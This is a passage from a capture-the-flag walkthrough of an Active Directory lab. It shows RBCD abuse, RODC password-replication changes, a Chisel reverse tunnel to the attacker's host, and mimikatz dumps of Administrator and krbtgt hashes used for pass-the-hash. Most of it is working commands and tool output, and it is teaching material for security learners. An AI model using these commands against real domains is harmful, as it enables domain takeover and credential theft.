[+] l.wilson_adm added to RODC Administrators

From this position, l.wilson_adm can set the managedBy:

oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. set object 'RODC01$' managedBy -v 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s managedBy has been updated

RDP through RDP

I’ll open the Windows RDP connection and enter the IP of RODC01:

Remote Desktop Connection dialog on DC01 connecting to RODC01 at 192.168.100.2 as GARFIELD\l.wilson_adm

On hitting enter, it asks for creds, which I can enter:

Windows Security credential prompt for l.wilson_adm connecting to 192.168.100.2

It’ll ask me to accept the certificate:

Remote Desktop certificate warning that the RODC01.garfield.htb certificate is not from a trusted certifying authority

By default it loads a cmd.exe window:

Nested RDP session to RODC01 inside the DC01 FreeRDP window, showing an Administrator cmd.exe window

I can also close this and Ctrl-Shift-Esc to get task manager, and then File -> “Run new task” to start PowerShell or any other executable.

Without managedBy, it will show with no special privileges:

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Once I’ve set the managedBy, it provides privileges:

C:\Users\l.wilson_adm>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Disabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

If I try to create a new task through Task Manager, it warns that it will be created with administrator privileges:

Task Manager Create new task dialog on RODC01 noting the task will be created with administrative privileges

As a non-administrator, it doesn’t show that:

Create new task dialog without the administrative privileges note, as seen by a non-administrator

Creating a PSSession gives the same result:

PS C:\> Enter-PSSession -ComputerName RODC01.garfield.htb -Credential garfield\l.wilson_adm
[RODC01.garfield.htb]: PS C:\Users\l.wilson_adm\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

l.wilson_adm is now a local administrator on RODC01.

RBCD

Fake Computer RBCD

RBCD needs an account with an SPN that I control. The domain’s MachineAccountQuota is 10 (from the RustHound-CE output), so any user can create a computer account. I’ll create one:

oxdf@hacky$ addcomputer.py -computer-name 'OXDF$' -computer-pass '0xdf0xdf.' -dc-ip 10.129.244.207 'garfield.htb/l.wilson_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account OXDF$ with password 0xdf0xdf..

Now I’ll abuse the WriteAccountRestrictions access of l.wilson_adm over RODC01$ to allow my computer to impersonate users to services on RODC01:

oxdf@hacky$ rbcd.py -delegate-to 'RODC01$' -delegate-from 'OXDF$' -action write -dc-ip 10.129.244.207 'garfield.htb/l.wilson_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] OXDF$ can now impersonate users on RODC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     OXDF$        (S-1-5-21-2502726253-3859040611-225969357-11101)

At this point, I have a fake computer object on the domain, and it is allowed to impersonate any user to services on RODC01.

I’ll also need the hash of the password for the fake computer I created:

oxdf@hacky$ python3 -c "import hashlib;print(hashlib.new('md4','0xdf0xdf.'.encode('utf-16le')).hexdigest())"
02cb8258df07966e32677128e5ff1d26

Abuse RBCD from Windows

I’ll upload a copy of Rubeus.exe (from SharpCollection) and a copy of PsExec64.exe (from SysInternals). I’ll request a ticket for the cifs SPN on RODC01, since PsExec connects over SMB. I’ll try it first from my WinRM session:

evil-winrm-py PS C:\programdata> .\Rubeus.exe s4u /user:OXDF$ /rc4:02cb8258df07966e32677128e5ff1d26 /impersonateuser:Administrator /msdsspn:cifs/RODC01.garfield.htb /ptt /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: 02cb8258df07966e32677128e5ff1d26
[*] Building AS-REQ (w/ preauth) for: 'garfield.htb\OXDF$'
[*] Using domain controller: fe80::bae5:7a15:876d:83d8%7:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgE...[snip]...BmtyYnRndBsMZ2FyZmllbGQuaHRi

[*] Action: S4U

[*] Building S4U2self request for: 'OXDF$@GARFIELD.HTB'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2self request to fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'OXDF$@GARFIELD.HTB'
[*] base64(ticket.kirbi):
      doIF6jCCBeagAwIBBaEDAgE...[snip]...UQqkSMBCgAwIBAaEJMAcbBU9YREYk

[*] Impersonating user 'Administrator' to target SPN 'cifs/RODC01.garfield.htb'
[*] Building S4U2proxy request for service: 'cifs/RODC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2proxy request to domain controller fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/RODC01.garfield.htb':

      doIGnjCCBpqgAwIBBaEDAgE...[snip]...ZzGxNST0RDMDEuZ2FyZmllbGQuaHRi
[X] Error 1312 running LsaLookupAuthenticationPackage (ProtocalStatus): A specified logon session does not exist. It may already have been terminated

“A specified logon session does not exist”. /ptt injects the resulting ticket into my current logon session via LSA. My evil-winrm-py session is a transient network logon, so there is no stable interactive logon session for LSA to inject into, and the injection fails. The S4U itself worked, returning a cifs/RODC01 ticket, but it never got loaded into memory.

Over RDP, I can open PowerShell and it does work:

PS C:\programdata> .\Rubeus.exe s4u /user:OXDF$ /rc4:02cb8258df07966e32677128e5ff1d26 /impersonateuser:Administrator /msdsspn:cifs/RODC01.garfield.htb /ptt /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: S4U

[*] Using rc4_hmac hash: 02cb8258df07966e32677128e5ff1d26
[*] Building AS-REQ (w/ preauth) for: 'garfield.htb\OXDF$'
[*] Using domain controller: fe80::bae5:7a15:876d:83d8%7:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFVDCCBVCgAwIBBaEDAgE...[snip]...BmtyYnRndBsMZ2FyZmllbGQuaHRi


[*] Action: S4U

[*] Building S4U2self request for: 'OXDF$@GARFIELD.HTB'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2self request to fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'OXDF$@GARFIELD.HTB'
[*] base64(ticket.kirbi):

      doIF6jCCBeagAwIB...[snip]...kSMBCgAwIBAaEJMAcbBU9YREYk

[*] Impersonating user 'Administrator' to target SPN 'cifs/RODC01.garfield.htb'
[*] Building S4U2proxy request for service: 'cifs/RODC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2proxy request to domain controller fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/RODC01.garfield.htb':

      doIGnjCCBpqgA...[snip]...ZzGxNST0RDMDEuZ2FyZmllbGQuaHRi
[+] Ticket successfully imported!

Now I can PsExec, and it automatically uses this ticket:

PS C:\programdata> .\PsExec64.exe -accepteula \\RODC01.garfield.htb cmd

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.17763.8511]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname
RODC01
C:\Windows\system32>whoami
garfield\administrator

Abuse RBCD with Tunnel from Linux

I can do this entire attack from my VM with a tunnel to access RODC01. I’ll download a Windows Chisel binary and upload it to Garfield:

evil-winrm-py PS C:\programdata> upload /opt/chisel/chisel_1.11.8_windows_amd64 c.exe
Uploading /opt/chisel/chisel_1.11.8_windows_amd64: 10.5MB [00:16, 684kB/s]                                            
[+] File uploaded successfully as: C:\programdata\c.exe

With a Chisel server listening on my host, I’ll run .\c.exe client 10.10.15.169:8000 R:socks, and it connects:

oxdf@hacky$ ./chisel_1.11.8_linux_amd64 server -p 8000 --reverse
2026/11/04 15:56:05 server: Reverse tunnelling enabled
2026/11/04 15:56:05 server: Fingerprint nEu0FVefn2bdPQvJ71hwsVyHmdtcf0qqqtF4TNAtz8U=
2026/11/04 15:56:05 server: Listening on http://0.0.0.0:8000
2026/11/04 15:56:51 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

I’ll use the same fake computer with RBCD I setup above. Now I can request a ticket:

oxdf@hacky$ getST.py 'garfield.htb/OXDF$:0xdf0xdf.' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207 
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

I can use that ticket over proxychains to get a shell:

oxdf@hacky$ KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache proxychains wmiexec.py -k -no-pass garfield.htb/Administrator@RODC01.garfield.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:445  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  RODC01.garfield.htb:49669  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
RODC01
C:\>whoami
garfield\administrator

Shell as Administrator on DC01

Enumeration

RODC01 has a few users with home directories:

PS C:\users> ls

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        8/17/2025   7:35 AM                a.wilson
d-----        8/16/2025   4:47 PM                Administrator
d-----         4/1/2026  12:31 PM                Administrator.GARFIELD
d-r---        8/16/2025   4:47 PM                Public
d-----        9/12/2025   9:23 AM                svc_ldap

tree /f shows one interesting file:

PS C:\users> tree /f
Folder PATH listing
Volume serial number is 26A4-B0BC
C:.
├───a.wilson
...[snip]...
├───Administrator
...[snip]...
├───Administrator.GARFIELD
...[snip]...
├───Public
...[snip]...
└───svc_ldap
...[snip]...
    ├───Documents
    │       mimikatz.exe
...[snip]...

It’s interesting that svc_ldap has a copy of mimikatz.exe. Nothing else interesting.

The rest of the filesystem is very empty.

RODC Allow Lists

The RODC allow list (msDS-RevealOnDemandGroup) and deny list (msDS-NeverRevealGroup) are readable by any user:

PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Allowed

Name              : Allowed RODC Password Replication Group
ObjectClass       : group
ObjectGUID        : c156f4aa-6307-4c39-9bb1-c639c7bd3719
SamAccountName    : Allowed RODC Password Replication Group
SID               : S-1-5-21-2502726253-3859040611-225969357-571

PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied

DistinguishedName : CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
Name              : Denied RODC Password Replication Group
ObjectClass       : group
ObjectGUID        : f24e7edd-b7b0-4030-a09e-2c49d2e97a1e
SamAccountName    : Denied RODC Password Replication Group
SID               : S-1-5-21-2502726253-3859040611-225969357-572

DistinguishedName : CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
Name              : Account Operators
ObjectClass       : group
ObjectGUID        : c2528fd1-310b-46a0-a713-acba48b52334
SamAccountName    : Account Operators
SID               : S-1-5-32-548

DistinguishedName : CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
Name              : Server Operators
ObjectClass       : group
ObjectGUID        : e5e03394-d8c8-4123-a100-8bb3a34898a1
SamAccountName    : Server Operators
SID               : S-1-5-32-549

DistinguishedName : CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
Name              : Backup Operators
ObjectClass       : group
ObjectGUID        : 881d41dc-1a5c-40be-b4a2-e52be9a12f15
SamAccountName    : Backup Operators
SID               : S-1-5-32-551

DistinguishedName : CN=Administrators,CN=Builtin,DC=garfield,DC=htb
Name              : Administrators
ObjectClass       : group
ObjectGUID        : a4ab2eba-4ac5-45ef-a29c-89216814593e
SamAccountName    : Administrators
SID               : S-1-5-32-544

If I haven’t added l.wilson_adm to the RODC Administrators group, I can’t edit the lists:

PS C:\> Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -AllowedList "Administrator"
Add-ADDomainControllerPasswordReplicationPolicy : Insufficient access rights to perform the operation
At line:1 char:1
+ Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -All ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (RODC01:ADDomainController) [Add-ADDomainCon...plicationPolicy], CmdletInvocationException
    + FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.AddADDomainControllerPasswordReplicationPolicy

If I get this error, I’ll need to fully log out of my RDP session (not just close it) and log back in to get a refreshed token after adding the group.

I can add l.wilson_adm with bloodyAD:

oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. add groupMember "RODC Administrators" l.wilson_adm
[+] l.wilson_adm added to RODC Administrators

Or with PowerShell on DC01:

PS C:\> Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
PS C:\> Get-ADGroupMember -Identity "RODC Administrators"

distinguishedName : CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
name              : Liz Wilson ADM
objectClass       : user
objectGUID        : 12355eae-9f01-44a7-8b8d-060a51e42acb
SamAccountName    : l.wilson_adm
SID               : S-1-5-21-2502726253-3859040611-225969357-3107

Now it works to edit:

PS C:\> Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -AllowedList "Administrator"
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Allowed

DistinguishedName : CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
Name              : Allowed RODC Password Replication Group
ObjectClass       : group
ObjectGUID        : c156f4aa-6307-4c39-9bb1-c639c7bd3719
SamAccountName    : Allowed RODC Password Replication Group
SID               : S-1-5-21-2502726253-3859040611-225969357-571

DistinguishedName : CN=Administrator,CN=Users,DC=garfield,DC=htb
Name              : Administrator
ObjectClass       : user
ObjectGUID        : c3378089-c8d5-4614-a784-5de71bf43754
SamAccountName    : Administrator
SID               : S-1-5-21-2502726253-3859040611-225969357-500

I’ll need to get any groups that contain Administrator off the deny list as well (as deny takes precedence when an account is on both lists). I’ll just remove all the groups:

PS C:\> $denied = Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied
PS C:\> Remove-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -DeniedList $denied -Confirm:$false
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied

Now the Administrator hash can be cached on the RODC.

Recover Administrator Credential

Strategy

There are a few ways I can get the Administrator credential here. One would be just to wait for them to do something that caches the credential on the RODC. This won’t work here because there’s nothing spurring that caching event.

I’ll show three ways:

  1. I can force DC01 to cache the Administrator hash on RODC01, and then read it with mimikatz.exe.
  2. I can do an RODC Golden Ticket, where I use the krbtgt_8245 key with Rubeus.exe to forge a TGT for the Administrator. Because they are allowed to be cached on RODC01, DC01 will accept it, and I can then use it in a Rubeus.exe Key List request to recover the Administrator hash.
  3. Basically the same as 2, but entirely from Linux using ticketer.py to get the TGT, and then pass that to evil-winrm-py to authenticate to DC01 as Administrator.

Force Caching

There’s a simple command to get DC01 to send its hash for a user over to RODC01 that I run from RODC01:

PS C:\> repadmin /rodcpwdrepl RODC01 DC01.garfield.htb "CN=Administrator,CN=Users,DC=garfield,DC=htb"
Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.garfield.htb.

Now I can use the mimikatz.exe that’s already on RODC01 to read the hash:

PS C:\users\svc_ldap\Documents> .\mimikatz.exe
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

540     {0;000003e7} 1 D 20246          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0108c4f2} 0 D 17478744    GARFIELD\Administrator  S-1-5-21-2502726253-3859040611-225969357-500
(15g,26p)       Primary
 * Thread Token  : {0;000003e7} 1 D 17506233    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::lsa /inject /name:Administrator
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 000001f4 (500)
User : Administrator

 * Primary
    NTLM : ee238f6debc752010428f20875b092d5
    LM   :
  Hash NTLM: ee238f6debc752010428f20875b092d5
    ntlm- 0: ee238f6debc752010428f20875b092d5
    ntlm- 1: 3becc55e330d27d1ca51cd60d09fd385
    ntlm- 2: ee238f6debc752010428f20875b092d5
    ntlm- 3: 64f12cddaa88057e06a81b54e73b949b
    ntlm- 4: 64f12cddaa88057e06a81b54e73b949b
    ntlm- 5: ee238f6debc752010428f20875b092d5
    ntlm- 6: 64fbae31cc352fc26af97cbdef151e03
    ntlm- 7: 5835048ce94ad0564e29a924a03510ef
    ntlm- 8: ee238f6debc752010428f20875b092d5
    lm  - 0: be646df3b701d8cc0ae85c14df96650e
    lm  - 1: f465f4617a5413cb7f24484d3ce174e3
    lm  - 2: 4c3f8ce1476cf9763c28342a449aa788
    lm  - 3: affa79dd064052ad50af03c2379f65da
    lm  - 4: 65a11b03d9f2f53c5f4e9424a8ff2c73
    lm  - 5: 652dcf8cd1576efcdd586cabf442a9e2
    lm  - 6: 935468fff2d8238bbe948c46517bac1a
    lm  - 7: cc46f8e8687131f941c69f7f04a53386

 * WDigest
    01  b4340ef78aa56eed99dbaae8c75707cd
    02  605efdfec8be1e5b01dbcb1f47e48464
    03  9a6e19761fad0458e9b6ae00578d3652
    04  b4340ef78aa56eed99dbaae8c75707cd
    05  e92760dcb29e2b609ab4e20301746c38
    06  98796685d046e8bbfcfda91df2d69d18
    07  5db522f02cd08dd9d9da92dc90a32d5b
    08  a0faa76b5f45b3eac6aff50fb54c4d8f
    09  191e2d00d0903f4cf6f2e110ebc6d1af
    10  9ed9671e670a2394a9b240ec9805fba7
    11  de7338e7ea46d333e6b5ae88db3a239d
    12  a0faa76b5f45b3eac6aff50fb54c4d8f
    13  2a66803436bd68197a7240b177c73d2a
    14  91390829538e01690312d52fe06d4fd4
    15  c74bec4fb64abaea6889b5a614616f42
    16  cff004893d48cf1f5be2879cdd55acdd
    17  7ccd39cd356296b4c52df7d3b1af6d17
    18  add3132e324b1c1718f50122e64eecb6
    19  2c82e0847a43198faad9a06a9af36f98
    20  e0b6ae628d040adda0371dd38cec8e82
    21  b01959b1f0cdf015faf39a610b113bb6
    22  7dcbb3a8534df9084b9491e2d6ac6632
    23  5c40743b6a30623619ebb5405b0cc432
    24  54ab64bb70e63f9b4f8e0d857cbd1d61
    25  b97b9abdc01ac1b500333d6a5cb40198
    26  440f399229353fecc9d318c901cd6be3
    27  f5282356131a5fd33885e674fe6ec6c4
    28  d3798ff94e3271a70b5c2f27033d68fa
    29  9e0c7f3b839d0903ec060eb445ae0d48

 * Kerberos
    Default Salt : GARFIELD.HTBAdministrator
    Credentials
      des_cbc_md5       : ce8067135851fdf1
    OldCredentials
      des_cbc_md5       : ab753de6fbd9fb0d

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 53b9e15b84f5b44ca093b5a74098b26aae113a806a9a7ff647754dc6518e9c29
      aes128_hmac       (4096) : f0aaabf4238c8cb0cf30b123d15bc579
      des_cbc_md5       (4096) : ce8067135851fdf1
    OldCredentials
      aes256_hmac       (4096) : 6639f9a4fb8b8601163c1dd3db45d80924a1271b0c58a302d758c1a0a7fb7c11
      aes128_hmac       (4096) : d67bc0192c4df16224bab3393d510cc8
      des_cbc_md5       (4096) : ab753de6fbd9fb0d
    OlderCredentials
      aes256_hmac       (4096) : 53b9e15b84f5b44ca093b5a74098b26aae113a806a9a7ff647754dc6518e9c29
      aes128_hmac       (4096) : f0aaabf4238c8cb0cf30b123d15bc579
      des_cbc_md5       (4096) : ce8067135851fdf1

 * NTLM-Strong-NTOWF
    Random Value : c08b9f76234648f5e6b727b6b8c2c05f

The NTLM at the top works:

oxdf@hacky$ netexec smb DC01.garfield.htb -u Administrator -H ee238f6debc752010428f20875b092d5
SMB         10.129.244.207  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.244.207  445    DC01             [+] garfield.htb\Administrator:ee238f6debc752010428f20875b092d5 (Pwn3d!)

I’ll get a shell:

oxdf@hacky$ evil-winrm-py -i DC01.garfield.htb -u Administrator -H ee238f6debc752010428f20875b092d5
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'DC01.garfield.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

And the flag:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
0d464e6c************************

RODC Golden Ticket / Kerberos Key List

I’ll start by using the mimikatz.exe that’s already on RODC01 to dump the keys for krbtgt_8245:

PS C:\users\svc_ldap\Documents> .\mimikatz
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

540     {0;000003e7} 1 D 20246          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0108c4f2} 0 D 17366324    GARFIELD\Administrator  S-1-5-21-2502726253-3859040611-225969357-500
(15g,26p)       Primary
 * Thread Token  : {0;000003e7} 1 D 17393394    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz # lsadump::lsa /inject /name:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 00000643 (1603)
User : krbtgt_8245

 * Primary
    NTLM : 445aa4221e751da37a10241d962780e2
    LM   :
  Hash NTLM: 445aa4221e751da37a10241d962780e2
    ntlm- 0: 445aa4221e751da37a10241d962780e2
    lm  - 0: 0ab3d34a182bb016fc4cfd26544a9f16

 * WDigest
    01  6d31d1f92ef6d85f5517944f98bf5753
    02  8c46bd5ddc680291e70800990dbc02e3
    03  9ffbc24f29b9bb3df3c32b76631ff874
    04  6d31d1f92ef6d85f5517944f98bf5753
    05  8c46bd5ddc680291e70800990dbc02e3
    06  8fc97c500bf9c7c4a0d34a497f9c5245
    07  6d31d1f92ef6d85f5517944f98bf5753
    08  c4bac61b7ecb407d358f836d2f4e19c6
    09  c4bac61b7ecb407d358f836d2f4e19c6
    10  d8938c80e1e0c80a2ec1d8b06f42cb31
    11  67f002aa49f4400fa970a53e294f4bee
    12  c4bac61b7ecb407d358f836d2f4e19c6
    13  56062e2db43bc0069deb86de87509ca6
    14  67f002aa49f4400fa970a53e294f4bee
    15  7250fcfc09d9cb93345c0c1393e19e52
    16  7250fcfc09d9cb93345c0c1393e19e52
    17  04b30cd8b5381d4b8458b0c996503a91
    18  b48bda9ef98982d5ee33766a74880e01
    19  bb365cf4f0bcdadf35b6a9b04c58257b
    20  85addbd6d603cca1b500f2da02b205d0
    21  b6186618611e202aae4141716e6603f5
    22  b6186618611e202aae4141716e6603f5
    23  f3f6c9408db132bf8e59413b7b40bb16
    24  0acf88cc5cb3b35888708ebefe658b6f
    25  0acf88cc5cb3b35888708ebefe658b6f
    26  08b8941632a5017e7178a3761dfaf7fb
    27  c1b2fd89d0dafb5f9e18147042bdc433
    28  712f0b6ed3b7eb7f6f135a1e298c4e09
    29  bf8d51270f7f657079bb9744446d70cb

 * Kerberos
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Credentials
      des_cbc_md5       : d540fe6192b9ecfe

 * Kerberos-Newer-Keys
    Default Salt : GARFIELD.HTBkrbtgt_8245
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
